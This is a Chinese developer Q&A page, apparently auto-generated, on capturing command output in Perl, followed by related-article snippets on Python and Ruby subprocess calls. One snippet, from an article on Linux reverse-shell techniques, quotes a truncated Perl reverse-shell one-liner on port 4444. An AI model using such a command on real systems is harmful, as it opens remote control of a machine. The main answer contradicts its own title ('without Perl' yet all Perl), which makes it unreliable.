首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

如何在不用perl中继stdout的情况下执行system()

在不使用 Perl 的情况下执行 system() 可以通过以下方法实现:

  1. 使用 shell 命令:

在 Perl 脚本中,可以使用 shell 命令来执行 system() 调用。例如:

代码语言:txt
复制
my $command = "ls -l";
my $output = `$command`;
print $output;

这将执行 ls -l 命令,并将输出存储在 $output 变量中,然后打印输出。

  1. 使用 IPC::Open2 模块:

IPC::Open2 模块允许您在 Perl 脚本中执行外部命令,并将输出重定向到变量。例如:

代码语言:txt
复制
use IPC::Open2;

my $pid = open2(\*CHLD_OUT, \*CHLD_IN, "ls -l");
waitpid($pid, 0);

my @output = <CHLD_OUT>;
close CHLD_OUT;
close CHLD_IN;

print @output;

这将执行 ls -l 命令,并将输出存储在 @output 数组中,然后打印输出。

  1. 使用 IPC::Run 模块:

IPC::Run 模块提供了一个简单的接口来执行外部命令并捕获输出。例如:

代码语言:txt
复制
use IPC::Run qw(run);

my @output;
run ["ls", "-l"], \undef, \@output;

print @output;

这将执行 ls -l 命令,并将输出存储在 @output 数组中,然后打印输出。

这些方法都可以在不使用 Perl 的情况下执行 system(),并且不会干扰 stdout。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

python之路day5

subprocess模块 铺垫: 1、os模块 os模块中system,使用os.system("dir")可直接输出结果,如果将os.system("dir")赋值给一个变量,则这个变量接收是这个命令执行成功与否...res=subprocess.Popen("ifconfig |grep 192",shell=Ture,stdout=subprocess.PIPE)此时是把命令执行结果保存在内存空间管道中,如果想输出到屏幕需要用...例2:poll()和wait()方法 在例1中如果命令执行耗时很长,:res=subprocess.Popen("sleep 10;echo 'hello'",shell=Ture,stdout=subprocess.PIPE...,stderr=subprocess.PIPE),当使用res.stdout.read()时会等待命令执行结束才能显示,而poll方法可检测命令是否执行结束,0表示执行结束,在编程时可与read结合使用...例3:terminate() 该方法可以中断执行:res=subprocess.Popen("sleep 10;echo 'hello'",shell=Ture,stdout=subprocess.PIPE

63110

Ruby执行shell命令六种方法

在Ruby中,执行shell命令是一件不奇怪事情,Ruby提供了大概6种方法供开发者进行实现。这些方法都很简单,本文将具体介绍一下如何在Ruby脚本中进行调用终端命令。...system system和exec相似,但是system执行命令不会是在当前进程,而是在一个新创建进程。system会返回布尔值来表明命令执行结果是成功还是失败。...pid 11858 exit 1 => nil >> system会将进程退出状态码赋值给$?,如果程序正常退出,$?值为0,否则为非0。...system可以告诉我们命令执行是成功还是失败,但是有些时候我们需要得到执行命令输出,并在脚本中使用。显然system无法直接满足,需要我们使用反引号来实现。...使用反引号一个结果就是我们只能得到标准输出(stdout)而不能得到标准错误信息(stderr),比如下面的例子,我们执行一个输出错误字符串perl脚本。

3.2K20
  • python中执行DOS命令3种方法小

    使用os.system("cmd") 特点是执行时候程序会打出cmd在Linux上执行信息。 import os os.system("ls")   2....参数executable用于指定可执行程序。一般情况下我们通过args参数来设置所要运行程序。如果将参数shell设为 True,executable将指定程序使用shell。...我们不能将close_fds设置为True同时重定向子进程标准输入、输出与错误(stdin, stdout, stderr)。 如果参数shell设为true,程序将通过shell来执行。...参数env是字典类型,用于指定子进程环境变量。如果env = None,子进程环境变量将从父进程中继承。 参数Universal_newlines:不同操作系统下,文本换行符是不一样。...同样, 果希望从stdout和stderr获取数据,必须将stdout和stderr设置为PIPE。 Popen.send_signal(signal)  向子进程发送信号。

    2.2K20

    Python调用外部系统命令

    本文主要描述Python常见调用外部系统命令方法,包括os.system()、os.popen()、subprocess.Popen()等。...1、subprocess模块优先介绍subprocess模块是由于该模块可以替代旧模块方法,os.system()、os.popen()等,推荐使用。...一般情况下我们通过args参数来设置所要运行程序。如果将参数shell设为 True,executable将指定程序使用shell。...默认值为None,表示子进程环境变量将从父进程中继承。Universal_newlines 不同操作系统下,文本换行符是不一样。...对于复杂命令考虑使用subprocess.Popen()完成,如果仅是简单命令执行,可以使用os.system()完成,调用windows暂停程序命令os.system('pause')。

    26820

    python实现局域网ip地址扫描

    不管是python还是ruby,perl,都火不得了。就连java都出了个脚本语言版本,好像是叫Groovy,号称下一代java。 也难怪,硬件发展使得很多场合处理性能过剩。...它构造函数如下: subprocess.Popen(args, bufsize=0, executable=None, stdin=None, stdout=None, stderr=None, preexec_fn...如果参数shell设为true,程序将通过shell来执行。参数env是字典类型,用于指定子进程环境变量。如果env = None,子进程环境变量将从父进程中继承。...subprocess.PIPE   在创建Popen对象时,subprocess.PIPE可以初始化stdin, stdout或stderr参数。表示与子进程通信标准流。...向stdin发送数据,或从stdout和stderr中读取数据。可选参数input指定发送到子进程参数。Communicate()返回一个元组:(stdoutdata, stderrdata)。

    3K10

    linux下反弹shell姿势

    通常在获得webshell之后,如果是linux服务器,一般会返回一个shell来对linux服务器做进一步渗透,:溢出提权、信息收集等。...:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while;' 0x03 perl -MIO -e '$c=new IO::Socket:...因为它集成于 UNIX 环境,所以可以设计、构建和快速地执行完整工作程序,并且立即就能得到结果。 ? xterm xterm是一个X Window System标准虚拟终端。...在10.0.0.1上如何监听获取shell,需要执行一下命令: Xnest :1 使用以下命令授权远程主机连接到本机: xhost +targetip 总结 不同环境需要不同方式来执行反连,通常情况下是不需要那么多方式...,往往在条件苛刻情况下才会需要很多奇形怪状姿势来测试,这样才有可能完成你预期,懂得姿势越多,我们成功可能性越大,还是那句话,安全之路,任重道远。

    1.6K00

    python之系统命令

    可以执行shell命令相关模块和函数有: os.system os.spawn* os.popen* --废弃 popen2.* --废弃 commands.*...用于执行复杂系统命令 参数: args:shell命令,可以是字符串或者序列类型(:list,元组) bufsize:指定缓冲。...0 无缓冲,1 行缓冲,其他 缓冲区大小,负值 系统缓冲 stdin, stdout, stderr:分别表示程序标准输入、输出、错误句柄 preexec_fn:只在Unix平台下有效,用于指定一个可执行对象...shell:同上 cwd:用于设置子进程的当前目录 env:用于指定子进程环境变量。如果env = None,子进程环境变量将从父进程中继承。...subprocess.Popen("mkdir t2", shell=True) 终端输入命令分为两种: 输入即可得到输出,:ifconfig 输入进行某环境,依赖再输入,:python import

    1.1K40

    python subprocess模块

    subprocess模块 允许你生成一个或多个进程,并且可以跟它交互,并且获取返回结果,这个模块想要替换掉几个老方法: os.system os.spawn*...-. 1 root root 1, 3 Jan 3 11:16 /dev/null\n') 调用和系统之间操作,推荐subprocess.run() ,因为它迟早要替换掉sys.system ;...用于执行复杂系统命令 参数: args:shell命令,可以是字符串或者序列类型(:list,元组) bufsize:指定缓冲。...shell:同上 cwd:用于设置子进程的当前目录 env:用于指定子进程环境变量。如果env = None,子进程环境变量将从父进程中继承。...CreateProcess()函数,用于设置子进程一些属性,:主窗口外观,进程优先级等等 终端输入命令分为两种: 输入即可得到输出: ifocnfig 输入进行某环境,依赖某环境再输入

    1K20

    python中执行shell命令几个方

    最近有个需求就是页面上执行shell命令,第一想到就是os.system, 代码如下: os.system('cat /proc/cpuinfo') 但是发现页面上打印命令执行结果 0或者1,当然不满足需求了...file read 对象,对其进行读取 read() 操作可以看到执行输出。...适用于Python3 subprocess 可以执行shell命令相关模块和函数有: os.system os.spawn os.popen –废弃 popen2.* –废弃 commands...shell 同上 cwd 用于设置子进程的当前目录 env 用于指定子进程环境变量。如果env = None,子进程环境变量将从父进程中继承。...函数,用于设置子进程一些属性,:主窗口外观,进程优先级等等 createionflags 同上 import subprocess ret1 = subprocess.Popen(["mkdir

    3K10

    Python用subprocessPopen来调用系统命令

    当我们须要调用系统命令时候,最先考虑os模块。用os.system()和os.popen()来进行操作。...可是这两个命令过于简单,不能完毕一些复杂操作,执行命令提供输入或者读取命令输出,推断该命令执行状态,管理多个命令并行等等。...我到如今还不清楚这个參数详细含义,望各个大牛指点。 參数executable用于指定可执行程序。普通情况下我们通过args參数来设置所要执行程序。...參数env是字典类型,用于指定子进程环境变量。假设env = None,子进程环境变量将从父进程中继承。 參数Universal_newlines:不同操作系统下,文本换行符是不一样。...相同, 果希望从stdout和stderr获取数据,必须将stdout和stderr设置为PIPE。 Popen.send_signal(signal) 向子进程发送信号。

    1.8K20

    perl语言十分钟入门【零基础可入】

    helloworld.pm 程序执行方法为: (1)perl helloworld.pm (2)chmod 755 helloworld.pm && ..../helloworld.pm 2.常量 2.1数字 (1)Perl内部总按照“双精度浮点数”保存数字并执行运算; (2)0377=>八进制;0xFF=>十六进制; 2.2字符串 (1)单引号表示字符串,...: 2011 hello,world 6.3文件输入输出 Perl保留了6个文件句柄:STDIN/STDOUT/STDERR/DATA/ARGV/ARGVOUT 上述6.1中程序还能这么执行: ....; select LOG; print(“to log1″); print(“to log2″); select STDOUT; print(“to stdout2!”); #!...%hash_reverse = reverse(%hash_one); 只有在键值一一对应情况下才凑效,否则会有无法预期覆盖发生。 7.5哈希美观赋值 哈希美观赋值使用=>符号。

    2.1K71

    十分钟学perl够用(客服MM都懂了)

    helloworld.pm 程序执行方法为: (1)perl helloworld.pm (2)chmod 755 helloworld.pm && ..../helloworld.pm 2.常量 2.1数字 (1)Perl内部总按照“双精度浮点数”保存数字并执行运算; (2)0377=>八进制;0xFF=>十六进制; 2.2字符串 (1)单引号表示字符串,...: 2011 hello,world 6.3文件输入输出 Perl保留了6个文件句柄:STDIN/STDOUT/STDERR/DATA/ARGV/ARGVOUT 上述6.1中程序还能这么执行: ....; select LOG; print(“to log1″); print(“to log2″); select STDOUT; print(“to stdout2!”); #!...%hash_reverse = reverse(%hash_one); 只有在键值一一对应情况下才凑效,否则会有无法预期覆盖发生。 7.5哈希美观赋值 哈希美观赋值使用=>符号。

    1.2K70

    正确使用python调用shell姿势

    下面我们看如何使用python与shell交互: 方式一: 使用os.system方法 import osos.system("ls") 保存到一个python文件xxx.py里面执行 python xxx.py...,或者直接在linux终端上执行 python -c "import os; myCmd = 'ls '; os.system(myCmd)" 这种方式是最原始方式,能直接调用shell命令,但是没法获取输出结果...输出123 我们可以看到popen方法可以获取命令执行后到输入结果,但这还是有缺陷,我们知道在linux里面,有标准0,1,2来代表标准输入,输出和错误,现在只有stdout没有其他两个变量还是有限制...stderr 方式三:看到上面这些这么繁琐调用,后面就又有了最强大subprocess模块,subprocess模块出现是用来替代OS模块中system()和popen()方法,官方推荐是只用...env:用于指定子进程环境变量。如果 env = None,子进程环境变量将从父进程中继承。

    7.5K20

    何在Debian 7上安装MySQL

    介绍 MySQL是一种流行数据库管理系统,用于Web和服务器应用程序。本指南将介绍如何在Debian 7(Wheezy)Linode上安装,配置和管理MySQL。...选择一个强密码并将其保存在安全地方,以备将来参考。 [zrorsxavv3.png] 默认情况下,MySQL将绑定到localhost(127.0.0.1)。...优化MySQL MySQL Tuner是一个Perl脚本,它连接到正在运行MySQL实例,并根据工作负载提供配置建议。理想情况下,MySQL实例应该在运行调谐器之前至少运行24小时。...MySQL Tuner是优化MySQL服务器一个很好起点,但是使用Linode上MySQL为应用程序量身定制配置执行额外研究一定要谨慎。...MySQL 5.5参考手册 PHP MySQL手册 DBD : mysqlPerl DBI示例 MySQLdb用户指南 MySQL调谐器教程 更多Debian 7和MySQL相关教程请前往腾讯云+社区学习更多知识

    1.4K30

    MySQLMHA部署和原理

    MHA(Master High Availability)是一套相对成熟MySQL高可用方案,能做到在0~30s内自动完成数据库故障切换操作,在master服务器不宕机情况下,基本能保证数据一致性...在默认情况下,从服务器上中继日志会在SQL线程执行完后被自动删除。但是在MHA环境中,这些中继日志在恢复其它从服务器时可能会被用到,因此需要禁用中继日志自动清除。...改为定期手动清除SQL线程应用完中继日志。 在ext3文件系统下,删除大文件需要一定时间,这样会导致严重复制延迟,所以在Linux中,一般都是通过硬链接方式来删除大文件。 3....SQL线程切换到新中继日志,再执行set global relay_log_purge=0。...: 复制代码 复制代码 [root@node4 ~]# cat test.pl #!

    2.4K10

    Python 实现数字三角形排列详解:Java 视角下实现与分析

    灵活性:可以通过调整循环和条件,轻松改变数字排列形式,倒三角形、数字金字塔等。广泛应用:数字三角形概念可以扩展到多种应用场景,如数据可视化、游戏设计等。...Java 方法System.out.print():在不换行情况下输出数据。System.out.println():输出数据并换行,用于每行结束后进行换行操作。...() # 执行函数 print_triangle(4) # 获取输出结果 output = sys.stdout.getvalue() sys.stdout = old_stdout...重定向标准输出流:使用 System.setOut 将标准输出流重定向到自定义输出流。执行打印函数:调用 TrianglePattern.printTriangle 方法,打印一个三角形图案。...注意:在实际应用中,如果代码运行在不支持断言环境中,可以使用测试框架(JUnit)来替代 assert 语句进行验证。

    12421
    领券